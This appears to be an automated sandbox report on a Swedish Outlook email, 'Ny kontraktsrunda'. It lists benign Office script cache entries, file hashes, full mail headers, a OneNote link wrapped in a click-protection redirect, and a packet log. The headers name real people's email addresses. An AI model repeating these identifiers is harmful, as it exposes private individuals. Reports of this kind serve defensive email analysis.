Preview:	(()=>{var f={clientVersion:"20241022.4",files:{"owl.js":["owl.60b0607ba5126556995f.js","sha384-zDj3tmNYOwI2Am9oqiJuUbxIaqusrXTjzUd363HCfgg6i2ghsMasGwdCF60uMl6Q"],"owl.slim.js":["owl.slim.3fa2c9c3701ebced3bca.js","sha384-yahtC8hwk8GSYMODl/5HooFPYeo4GRkkrG0e5oCKKinnLifATz+1C343rSkOYQIn"],"owlnest.js":["owlnest.9b8213be8ac8f0683002.js","sha384-HLSNmHA5WyyRDQkWqjGHIqfG1jJbiJ9on/1ItCDW/s74A6I3NMUU+NURu6U2TFXr"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.4e8d8cd9eee1cfb3c162.js","sha384-AAafx3qf00WWge43xDnO9HBNP42FZ58TVQIzTmDaxtfYcm8vVw+OLV2Kv5bCi4TK"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"s

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5949), with no line terminators
Category:	dropped
Size (bytes):	5949
Entropy (8bit):	5.021760613857532
Encrypted:	false
SSDEEP:	96:Vq+J+ZRrxLuL7H9T4Mh+HsQ7qQYHq3l0e4QDhMWp:xJ+ZR07HNhhw7qQYHq3l0e4P8
MD5:	BBF6A2B6E77972F0718F99C86AE3FE92
SHA1:	806E8C002AE178B41819BEAFE123AE09202DF966
SHA-256:	78FF6158246E4FA25F994827F90ED69FEEF349AA57449CB404E35C3026BD4B8A
SHA-512:	4B4F58735190254E74ED9BAF547046642F622EE35414784A093356D28982A28A5D84E4CE71E476A88BC43583B6BB2D916B16A733D67D5B30E145DC2E4182BC8C
Malicious:	false
Preview:	function __loadCompat(n){n.Debug=function(){};n.Debug._fail=function(n){throw new Error(n);};n.Debug.writeln=function(n){window.console&&window.console.debug(n)};n.__getNonTextNode=function(n){try{while(n&&n.nodeType!=1)n=n.parentNode}catch(t){n=null}return n}}function _loadSafariCompat(){Node.prototype.__defineGetter__("text",function(){return this.textContent});Node.prototype.__defineSetter__("text",function(n){this.textContent=n});Node.prototype.selectNodes=function(n){var t=this.ownerDocument;return selectNodes(t,n,this)};Node.prototype.selectSingleNode=function(n){var t=this.ownerDocument;return selectSingleNode(t,n,this)};Document.prototype.selectNodes=function(n){return selectNodes(this,n,this.documentElement)};Document.prototype.selectSingleNode=function(n){return selectSingleNode(this,n,this.documentElement)}}function _loadMozillaCompat(n){n.navigate=function(n){window.setTimeout('window.location = "'+n+'";',0)};var t=function(n,t){t._mozillaEventHandler=function(n){return win

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7708)
Category:	downloaded
Size (bytes):	7758
Entropy (8bit):	5.292923747247591
Encrypted:	false
SSDEEP:	192:WNKQZFYtPbTUqrbRPgDVAz6kJxbtPk5UTR4S:WgtPbTUwbRPGVS6kJxbRkaTR5
MD5:	DDD63B48AF585746957581C2465786B8
SHA1:	D57B0B43445D410B476B2FE9EB6C685E297851AE
SHA-256:	1F40B9A806FAA70C1C142A9AD7EB4EAA84A3F3A18184ADFF6AEA4B21A2C60A9D
SHA-512:	9E20DC9F4B42636A3DC0D0DE01AA46BF5CE909B2DC8A3520C8B5B76D3EB40324D2CF9008B1AFAB3377BADC2826645BA68817CA2B1C228828B7A1C7CE96B68672
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/appResourceLoader.min.js
Preview:	var appResourceLoader;!function(){"use strict";var e,n,t,o,r={61435:function(e,n,t){t.r(n),t.d(n,{init:function(){return c.Ts},loadChunk:function(){return g},loadIntlBootResources:function(){return a}});var o=t(33959);let r,i=!1;function a(e){const n="onenote-ribbon-intl.min.js";return i\|\|(r=(0,o.loadScript)(n,e.scriptBaseUrl.concat(n),void 0,5),i=!0),r}var c=t(81934);const s="appChrome",u="canvasAtMentions",l="loopLoadingManager",d="navigation",f="onenote-navpane-strings",p="onenote-ribbon-intl",h="onenote-whatsnew-strings",m="sharedComments",b="comment-pane-strings",v="hyperlinkFloatie",y={[s]:{dependencies:[p]},[l]:{},[v]:{},[m]:{dependencies:[b]},[u]:{dependencies:[b]},[d]:{dependencies:[f,h]},[p]:{isLocalized:!0},"onenote-ribbon-intl-fluent":{isLocalized:!0},"onenote-ribbon-sprite-lazy":{isLocalized:!0},"onenote-ribbon-sprite-lazy-fluent":{isLocalized:!0},"onenote-ribbon-intl-lazy":{isLocalized:!0},"onenote-ribbon-intl-lazy-fluent":{isLocalized:!0},"onenote-intl-mlr-lazy":{isLocal

Static File Info

General

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	5.632725854048336
TrID:	Outlook Message (71009/1) 45.36% Outlook Form Template (41509/1) 26.51% Perfect Keyboard macro set (36024/1) 23.01% Generic OLE2 / Multistream Compound File (8008/1) 5.12%
File name:	ES Ny kontraktsrunda.msg
File size:	87'552 bytes
MD5:	5cf8421f409a9f4641a37349ed8f5864
SHA1:	23e2cb1b2031efcadd2124fccea0fe57323959bd
SHA256:	9f792176d7044c9fa161451966228bc66dee1c8d056997892d4970e2ff5c081c
SHA512:	c2e97853202a4a2c371df3b5f15f8e99aaa2f2c38d7ffc44b346973a5ec0f2cb35ba02e105fa9f0b0096aab7d663c186129224dd0541e257638d4e0ce4a0a393
SSDEEP:	1536:dEv7984P++/gbcny8vABRdfK0xPpXOxxnqj2v2:spBP++/gbcnyzIqexxnqjN
TLSH:	F0832D12E9EA650EF1769A328BE370D2D5317C937D159F4F2B81332A0973581F871E2A
File Content Preview:	........................>.......................................................d..............................................................................................................................................................................

Static Mail

General

Subject:	[ES] Ny kontraktsrunda
From:	=?iso-8859-1?Q?Lars-G=F6ran_Johansson?= <lars-goran.johansson@ffk.se>
To:	Undisclosed recipients:;
Cc:
BCC:
Date:	Fri, 25 Oct 2024 06:32:39 +0200
Communications:	<https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0> Lars-Gran
Attachments:	image001.png

Headers

Key	Value
Received	from DB6PR05MB4568.eurprd05.prod.outlook.com
15.2.1544.11 via Mailbox Transport; Fri, 25 Oct 2024 06	33:10 +0200
15.2.1544.11; Fri, 25 Oct 2024 06	33:10 +0200
15.2.1544.11 via Frontend Transport; Fri, 25 Oct 2024 06	33:10 +0200
X-Spam-SA-Rules	{"rules":{"ARC_SIGNED":0.001,"ARC_VALID":0.001,"DKIM_SIGNED":0.1,"DKIM_VALID":-0.1,"DKIM_VALID_AU":-0.1,"DKIM_VALID_EF":-0.1,"HTML_IMAGE_ONLY_28":0.726,"HTML_IMAGE_RATIO_02":0.001,"HTML_MESSAGE":0.001,"MISSING_HEADERS":1.207,"RCVD_IN_DNSWL_NONE":-0.0001,"RCVD_IN_MSPIKE_H2":-1.697,"SPF_HELO_PASS":-0.001,"SPF_PASS":-0.001,"TVD_SPACE_RATIO":0.001,"URIBL_SBL_A":0.1},"score":0.1,"scantime":0.707608371}
X-Spam-SA-Score	["score"=>0.1,"scantime"=>0.707608371]
X-Spam-Antispam-Score	0
Authentication-Results	smtp2.skolverket.se;
Fri, 25 Oct 2024 06	32:43 +0200 (CEST)
ARC-Seal	i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
h=From	Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
ARC-Authentication-Results	i=1; mx.microsoft.com 1; spf=pass
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed; d=ffk.se; s=selector2;
DBAPR05MB7448.eurprd05.prod.outlook.com (2603	10a6:10:1ac::20) with Microsoft
15.20.8093.21; Fri, 25 Oct 2024 04	32:40 +0000
([fe80	:34df:2a66:5634:341f%5]) with mapi id 15.20.8093.014; Fri, 25 Oct 2024
04	32:40 +0000
From	=?iso-8859-1?Q?Lars-G=F6ran_Johansson?= <lars-goran.johansson@ffk.se>
Subject	[ES] Ny kontraktsrunda
Thread-Topic	[ES] Ny kontraktsrunda
Thread-Index	AdsmldDiWKBjTbVGSJuP2TWzx2aSjgAAHMnAAAAAJfA=
Date	Fri, 25 Oct 2024 04:32:39 +0000
Message-ID	<DB6PR05MB456879B8EB209D4CE525CC6BB04F2@DB6PR05MB4568.eurprd05.prod.outlook.com>
Accept-Language	sv-SE, en-US
Content-Language	en-US
X-MS-Has-Attach	yes
X-MS-TNEF-Correlator	authentication-results: dkim=none (message not signed)
x-ms-publictraffictype	Email
x-ms-traffictypediagnostic	DB6PR05MB4568:EE_\|DBAPR05MB7448:EE_
x-ms-office365-filtering-correlation-id	01f73d33-044f-45de-5b98-08dcf4ae0f5e
x-ld-processed	974fc7a4-8590-4dc3-a563-155da019e920,ExtAddr
x-ms-exchange-senderadcheck	1
x-ms-exchange-antispam-relay	0
x-microsoft-antispam	BCL:0;ARA:13230040\|4200700025\|1800799024\|376014\|7416014\|4073399012\|41320700013\|366016\|10070799003\|8096899003\|38070700018;
x-microsoft-antispam-message-info	=?iso-8859-1?Q?hYhW1CsMX0PlcR9P6v9/mZXOXr0D0GLhB3010kf0KOxZ5JlvjorZ7li4RZ?=
x-forefront-antispam-report	CIP:255.255.255.255;CTRY:;LANG:sv;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DB6PR05MB4568.eurprd05.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(4200700025)(1800799024)(376014)(7416014)(4073399012)(41320700013)(366016)(10070799003)(8096899003)(38070700018);DIR:OUT;SFP:1501;
x-ms-exchange-antispam-messagedata-chunkcount	1
x-ms-exchange-antispam-messagedata-0	=?iso-8859-1?Q?vKFM57EGl3+1of1UBDyWL1sRn7/LIO1wBSo2qlKhVZeI6KtqFXcxF0kcqH?=
Content-Type	multipart/related;
MIME-Version	1.0
X-MS-Exchange-CrossTenant-AuthAs	Internal
X-MS-Exchange-CrossTenant-AuthSource	DB6PR05MB4568.eurprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id	01f73d33-044f-45de-5b98-08dcf4ae0f5e
X-MS-Exchange-CrossTenant-originalarrivaltime	25 Oct 2024 04:32:39.8099
X-MS-Exchange-CrossTenant-fromentityheader	Hosted
X-MS-Exchange-CrossTenant-id	974fc7a4-8590-4dc3-a563-155da019e920
X-MS-Exchange-CrossTenant-mailboxtype	HOSTED
X-MS-Exchange-CrossTenant-userprincipalname	+mDBFKTnEQJFKcTvvJd3Cre3jLePWfgFZAs04zIt7H/U5cMzB4+/gQVXCzPSnNAMdLPmS0WmwFUZiTfwyxtNjwRSLXKk9HVl77yS62L8zs0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped	DBAPR05MB7448
To	Undisclosed recipients:;
Return-Path	lars-goran.johansson@ffk.se
X-MS-Exchange-Organization-Network-Message-Id	72c2f237-1550-4344-ccf6-08dcf4ae21ae
X-MS-Exchange-Organization-AuthSource	wi-prod-exch2.ad.skolverket.se
X-MS-Exchange-Organization-AuthAs	Anonymous
X-MS-Exchange-Transport-EndToEndLatency	00:00:00.2974824
X-MS-Exchange-Processed-By-BccFoldering	15.02.1544.011
date	Fri, 25 Oct 2024 06:32:39 +0200

File Icon


Icon Hash:	c4e1928eacb280a2

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 10:17:57.530796051 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.533337116 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.535458088 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.535474062 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.535528898 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.535587072 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.535676003 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.536581039 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.536667109 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.536994934 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.537017107 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.537049055 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.537081957 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.538678885 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.538705111 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.539762020 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.539906979 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.540538073 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.544075012 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.545120955 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.545288086 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.545869112 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.658365011 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.662235022 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.663007021 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.664531946 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.664546013 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.664611101 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.664750099 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.664825916 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.665149927 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.665225029 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.665281057 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.667273045 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.667557001 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.667651892 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.667840004 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.670418024 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.672652960 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.672780991 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.673140049 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.787157059 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.789736032 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.789932966 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.790739059 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.791862011 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.791971922 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.792002916 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.792016983 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.792057991 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.792395115 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.792448997 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.794487953 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.794601917 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.795253038 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.796145916 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.797377110 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.800077915 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.800857067 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.915390968 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.916549921 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.916640997 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.919687986 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.920394897 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.922679901 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.922713995 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.922732115 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.922768116 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.922954082 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.923285007 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.923345089 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.924626112 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.925072908 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.925659895 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.926938057 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.927781105 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:57.929959059 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.932284117 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:57.933132887 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.045083046 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.045161009 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.045229912 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.048588991 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.048707962 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.049034119 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.051162958 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.051477909 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.051548958 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.052061081 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.052130938 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.053618908 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.053850889 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.055404902 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.056534052 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.059010029 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.059111118 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.174801111 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.175539970 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.175633907 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.176079035 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.178917885 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.178935051 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.178988934 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.180254936 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.180578947 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.183330059 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.184252024 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.185089111 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.185595036 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.185903072 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.188853025 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.189671040 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.190435886 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.306082964 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.306113005 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.306255102 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.308351040 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.309159040 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.309227943 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.309582949 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.348968983 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.499026060 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.504789114 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.546435118 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.551955938 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.624587059 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.658979893 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.660195112 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.660610914 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.661170006 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.664529085 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.665577888 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.666505098 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.666513920 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.672322989 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.705943108 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.754173994 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.784282923 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.784611940 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.784689903 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.785751104 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.786189079 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.786200047 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.786252975 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.816152096 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.821898937 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.824846029 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.825217009 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.826577902 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.830554008 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.830916882 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.830960035 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.831021070 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.874257088 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.878170967 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.879780054 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.941517115 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.949600935 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.949704885 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.949959993 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.951463938 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:58.951534033 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:58.998938084 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.052053928 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.244793892 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.250827074 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.261879921 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.267366886 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.279998064 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.283461094 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.285098076 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.285588980 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.288892031 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.290561914 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.369956017 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.386591911 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.386656046 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.407726049 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.408165932 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.408216000 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.409576893 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.409730911 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.415178061 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.442471027 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.445130110 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.447830915 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.450778008 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.462589979 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.463187933 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.468014956 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.468419075 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.534766912 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.567718983 CEST	443	49724	13.107.246.45	192.168.2.6
